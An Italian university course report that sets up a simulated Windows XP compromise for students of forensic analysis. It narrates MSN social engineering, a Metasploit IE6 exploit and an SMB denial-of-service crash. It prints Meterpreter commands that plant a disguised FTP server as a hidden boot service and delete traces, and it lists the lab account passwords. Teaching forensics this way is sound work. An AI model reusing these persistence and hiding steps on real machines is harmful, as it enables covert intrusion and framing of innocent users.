Università degli Studi di Salerno
Facoltà di Scienze Matematiche Fisiche e Naturali

INFORMATICA

Sicurezza su Reti 2

Report attività pre-analisi forense

Dario Scarpa (0521 000692)

Anno Accademico 2007-2008

Idea

Lasciare evidenza di una serie di attività comuni dell'utente Dario, a cui si aggiungono in un secondo momento le tracce di un attaccante che, dopo aver ottenuto accesso alla macchina, la sfrutta a scopi illeciti (che ipoteticamente potrebbero portare all'arresto dell'utente ignaro e quindi all'analisi forense). L'analista dovrebbe idealmente ricostruire la sequenza degli avvenimenti (determinando la dinamica dell'attacco) e quindi stabilire la buona fede dell'utente, per poi eventualmente concentrarsi sul cercare tracce dell'attaccante (colpevole).

Nota

La home directory dell'utente è `C:\Documents and settings\raffaele`, strascico dell'installazione del sistema nella prima Virtual Machine (di cui abbiamo poi fatto quattro copie, per risparmiare tempo). Fingiamo che Il sistema sia stato installato a Dario da un suo amico, di nome appunto Raffaele.

Informazioni generali

Il lavoro all'analista è semplificato dal fatto che la password di login a MSN è lasciata "salvata", il che concede accesso immediato anche alla webmail correlata. Tra l'altro, tale password è stata scritta in un file **password.txt** sul desktop (tipico in fase di registrazione di un account). Il file è stato poi cancellato, ma è probabilmente recuperabile con appositi tools. La password di *Windows* è ironicamente impostata alla mia data di nascita (**020284**). I log delle conversazioni vengono salvati, la cache del browser non è stata mai svuotata. Anche determinare la dinamica dell'attacco subito dall'utente dovrebbe essere semplice una volta letti i log di MSN (anche perché la contact list è decisamente poco popolata) e le e-mails. L'attaccante (*Lady-Nastenka*) è decisamente sprovveduta, non preccupandosi di coprire più di tanto le proprie tracce e riuscendo a portare a termine l'attacco solo al terzo tentativo.

Scenario

Dario è un utente medio che si trova a disporre di un pc con installato **Windows XP sp2** da un cd pirata. Fa un utilizzo tranquillo di Internet, senza

visitare siti *a rischio* ma allo stesso tempo senza preoccuparsi particolarmente di tutelare la sua sicurezza e la sua privacy online. Come la maggior parte degli *home user*, pensa che il suo sistema non sia particolarmente appetibile per un attaccante: non ha conti in banca né acquista beni online, non mantiene sul pc informazioni particolarmente sensibili. Usa Internet principalmente per navigare su siti di news, per chattare e per scaricare files via p2p. E' attualmente single e ha un atteggiamento positivo verso le persone, che lo porta a non diffidare particolarmente dei suoi interlocutori online, da cui si sente per certi versi "schermato" data la lontananza fisica.

L'attacco

LadyNastenka aggiunge Dario su MSN dicendo di aver trovato online il suo contatto. Si presenta con simpatia e un avatar ammiccante, e dopo poche chiacchiere chiede di controllare se il suo sito (dove, guarda un po', ha pubblicato delle sue foto) risulta raggiungibile. Chiedere aiuto/favori a un membro dell'altro sesso è una tipica pratica di social engineering che induce l'altro a farsi sentire in qualche modo importante/utile. Inoltre visitare un sito è una pratica tutto sommato ritenuta poco pericolosa, rispetto ad esempio all'accettare di eseguire un file sconosciuto. Raffaele, che ha installato il sistema, ha detto a Dario che Windows XP col Service Pack 2 e' "abbastanza aggiornato", e "per non prendere virus" gli ha consigliato di usare *Firefox* per navigare, cosa che infatti fa. In effetti Dario ha provato una volta ad avviare il *Windows Update*, ma vedere il *Genuine Check* di Microsoft in azione, essendo consapevole di avere un'installazione "pirata" dell'OS, gli ha fatto passare la voglia di aggiornare il sistema: dopo tutto, tutto sembra funzionare per il meglio. Quando però non riesce a vedere il sito di LadyNastenka con Firefox, e lei gli dice che forse è colpa del browser, perché "agli altri va", Dario prova a visitarlo con *Internet Explorer*. La versione installata di default in Windows XP SP2 è però seriamente fallata. Il link passato da LadyNastenka, purtroppo per lui, non punta a un sito con le sue foto ma a un'istanza di un exploit passivo per IE6 (`ie_vml_rectfill`), avviata tramite il framework **Metasploit** con cui "lei" ha preparato l'attacco. Il payload avanzato eseguito dall'exploit, **Meterpreter**, lascia il sistema dell'utente in balia di LadyNastenka, che con una serie di semplici comandi carica alcuni files sul sistema vittima e prosegue poi all'installazione di un piccolo **server FTP**, su porta non standard (**22221**), impostato come **servizio** auto-partente, su cui poi carica un file "`illegal_thai_porn.zip`" (che altro non è che 5Mb di `0x00`). Tanto

per essere sicura che l'installazione sia andata a buon fine, LadyNastenka forza al riavvio Dario mandandogli in crash il sistema con un attacco **DoS** su samba (in Metasploit, `dos/windows/smb/ms06_063_trans`), i quali demoni sono anch'essi buggati nella versione base di WinXP SP2. Appena lo vede rispuntare su MSN, può verificare che il servizio FTP clandestino è correttamente avviato, e può considerare il suo attacco concluso. Può anche prenderlo in giro perché, oltre a non riuscire a visualizzare il suo sito pieno di foto sexy, gli si è resettato il pc, con tanto di *Blue Screen Of Death*: pare proprio che la tecnlogia gli sia avversa. Come quando qualche giorno prima, non riuscendo ad ottenere ID alto su *E-mule*, aveva provato a disattivare il **Firewall** di Windows, che avrebbe potuto creare qualche piccolo fastidio in più a LadyNastenka nell'installazione dell'FTP clandestino.

Alcuni dettagli sull'attacco (e note su files da individuare)

Una volta ottenuto accesso al sistema tramite Metasploit, LadyNastenka ha caricato in `C:\windows\sysupd\` i files relativi all'attacco.

```
meterpreter> execute -f cmd.exe -H -c

C:\> cd\windows
C:\Windows> mkdir sysupd
C:\Windows> cd sysupd
C:\Windows\sysupd> mkdir data
exit

meterpreter> upload /home/dusk/sr2/ftpdmin.exe c:\windows\sysupd\
meterpreter> upload /home/dusk/sr2/FireDaemon-Pro-1_9.msi c:\windows\sysupd\
meterpreter> upload /home/dusk/sr2/sysupd.xml c:\windows\sysupd
meterpreter> upload /home/dusk/sr2/register.bat c:\windows\sysupd
```

`ftpdmin.exe` è un server FTP minimale, di pochi Kb, che non necessita di installazione. LadyNastenka lo ha rinominato in `sysupd.exe` perché desti meno sospetti nella lista dei processi in esecuzione.

```
meterpreter> execute -f cmd.exe -H -c
C:\Windows\sysupd> move ftpdmin.exe sysupd.exe
```

Per far sì che il server parta a ogni avvio della macchina e in background (normalmente apre una shell DOS), LadyNastenka ha caricato un software,

FireDaemon, che permette di eseguire delle generiche applicazioni come servizi di sistema. Avviando l'installer con l'opzione /quiet, dalla console ottenuta tramite Meterpreter, LadyNastenka può installare l'applicazione senza che l'utente se ne accorga.

```
C:\Windows\sysupd> Firedaemon-pro-1_9.msi /quiet
C:\Windows\sysupd> register.bat
```

L'attaccante deve solo avere cura di cancellare, sempre utilizzando la linea di comando, i vari link all'applicazione (nel menù avvio, nella barra di avvio veloce...) prima che l'utente le noti.

```
C:\Documents and Settings\raffaele\Desktop>del Fire*.lnk
C:\Documents and Settings\raffaele\Menu Avvio>del Fire*
C:\Documents and Settings\raffaele\Menu Avvio\Programmi>del "FireDaemon Pro" /s /q
C:\Documents and Settings\raffaele\Menu Avvio\Programmi>rmdir "FireDaemon Pro"
C:\Documents and Settings\raffaele\Dati Applicazioni\
    Microsoft\Internet Explorer\Quick Launch> del Fire*
```

Sebbene quindi LadyNastenka rimuova le tracce evidenti della nuova installazione, anche senza ricorrere a tools di recupero files, l'analista forense può trovare evidentissime tracce dell'applicazione installata, sia nella directory di installazione in C:\Programmi\, sia nel registro di sistema. Da un lato l'utilizzo di software così invasivo svela come LadyNastenka non sia un'attaccante molto avanzata, esistendo tecniche più subdole e raffinate per avviare a ogni boot un programma, o server per la distribuzione di files programmati per agire "di nascosto". L'altro lato della medaglia è che l'utilizzo di programmi leciti come ftpdmin.exe e FireDaemon passa tranquillamente i controlli di eventuali antivirus: LadyNastenka non ha installato nel sistema alcuna forma di malware, preferendo applicazioni "pulite" che però le consentissero di operare solo da linea di comando. Per installare ftpdmin.exe come servizio a LadyNastenka basta infatti digitare

```
C:\Programmi\FireDaemon> FireDaemon -i c:\windows\sysupd\sysupd.xml
```

dove sysupd.xml è un file (preparato e testato con calma sul suo sistema) che definisce le modalità di esecuzione del servizio (es: cruciali l'esecuzione in background e il riavvio in caso di crash). In tale file sono specificati anche i parametri con cui viene eseguito ftpdmin.exe, che riguardano la porta sui ascoltare (22221, che LadyNastenka ha avuto cura di scegliere tra quelle che nmap non scansiona di default, in caso di dozzinali analisi del sistema

dall'esterno) e la directory che il server renderà accessibile (nel nostro caso, `C:\windows\sysupd\data`).

A questo punto LadyNastenka avrebbe potuto cancellare l'installer di FireDaemon e il file xml, ma si è preferito lasciarli per rendere più evidente l'accaduto e semplificare l'analisi.

Considerazioni

L'atteggiamento fiducioso e la mancanza di competenze tecniche di molti utenti comuni rendono scenari come quello simulato abbastanza plausibili. E' sbagliato non preoccuparsi di mantenere sicuro il proprio sistema solo perché si pensa che non possa fare gola agli attaccanti, a cui potrebbe bastare il fatto che il computer sia online (magari per molte ore al giorno e con considerevole larghezza di banda a disposizione). LadyNastenka potrebbe essere chiunque, ma l'utente si fida praticamente subito di lei, magari semplicemente per il fatto che pensa si tratti di una donna disponibile (anche l'avatar fa la sua parte). LadyNastenka potrebbe essere tranquillamente un BOT che fa crawling dei profili di utenti MSN online e contatta automaticamente i maschi tra i 14 e i 30 anni, per poi rispondere approssimativamente e mandare il link fatale alle "foto": la seguente installazione del server clandestino sarebbe facilmente automatizzabile. La continua evoluzione delle tecniche di exploiting fa sì che bisogni stare bene attenti non solo a "non accettare files dagli sconosciuti", ma ad evitare azioni tipicamente ritenute innocue, come appunto visitare una pagina web, leggere una e-mail, aprire un'immagine (malformata ad-hoc). Nei casi più critici non è necessaria alcuna forma di interazione con l'utente (come col DoS contro samba usato per riavviare la macchina vittima, che però porta al massimo al crash e non all'esecuzione remota di codice), come dimostrano molteplici worms che si diffondono proprio sfruttando tali vulnerabilità. Inoltre, va dato peso al problema della responsabilità legale: come nell'esempio di LadyNastenka, possiamo ipotizzare che Dario venga arrestato per il traffico FTP di file illegali (rappresentati nella simulazione dal file `illegal_thai_porn.zip`), quando non è che una vittima di LadyNastenka. Ma se lei fosse stata molto più brava e non avesse lasciato alcuna traccia, come avrebbe fatto Dario a dimostrare la sua innocenza? Se l'analisi fosse stata resa complicatissima utilizzando recenti tools di anti-forensics, come MAFIA (*Metasploit Anti-Forensic Investigation Arsenal*)? E se ancora, fosse Dario il vero colpevole, ma avesse simulato egli stesso l'attacco di LadyNastenka per prepararsi una scappatoia?

Timeline approssimativa per riscontro analisi

20/05
- installato firefox
- installato mIRC e impostato nickname *mebarak* e connessione automatica a server random di *AzzurraNET*
- registrato account MSN (user: darioscarpa@live.it, pass: mebarak84)
- installato activeX per genuine check, fallito (no *Windows Update*)

22/05
- web-browsing (flashgames.it e altro)
- installato limewire
- installato runtime Java

27/05
- loggato su MSN e aggiunti un paio di contatti (chat-bot come doretta82@live.it), chiacchierato
- aperto mIRC e bazzicato #italia
- scaricata "Pink Floyd - Wish you were here" da LimeWire
- installato E-Mule, disattivato firewall di XP (tentativo di risolvere "ID basso")
- scaricata "Vangelis - End titles from Blade Runner" da E-Mule

29/05
- segnata la password di MSN in un file passwords.txt sul Desktop
- perso tempo causa problemi di rete

3/06
- aggiornato windows installer per installare msn live
- installato MSN live
- loggato su hotmail e msn
- web-browsing

4/06
- web-browsing (news salerno, punto-informatico ecc.)
- contattato su MSN da LadyNastenka (ladynastenka@gmail.com)
- chat MSN con LadyNastenka

9/06
- web-browsing
- chat MSN con LadyNastenka
- LadyNastenka effettua il primo test d'attacco, invitando a vedere le sue foto

10/06
- web-browsing
- chat MSN con LadyNastenka
- LadyNastenka reitera l'attacco e carica il server FTP e il file illegale, ma non fa a tempo a configurarlo come servizio che parta al boot

11/06
- web-browsing (news salerno, punto informatico...)
- avviato il download di un piccolo video da e-mule

12/06
- cancellato passwords.txt dal Desktop
- web-browsing
- chat MSN con LadyNastenka
- LadyNastenka finisce il lavoro: terzo attacco con configurazione del server FTP come servizio e parziale rimozione delle proprie tracce
- LadyNastenka forza il reboot con un attacco DoS per accertarsi che l'installazione del servizio abbia avuto successo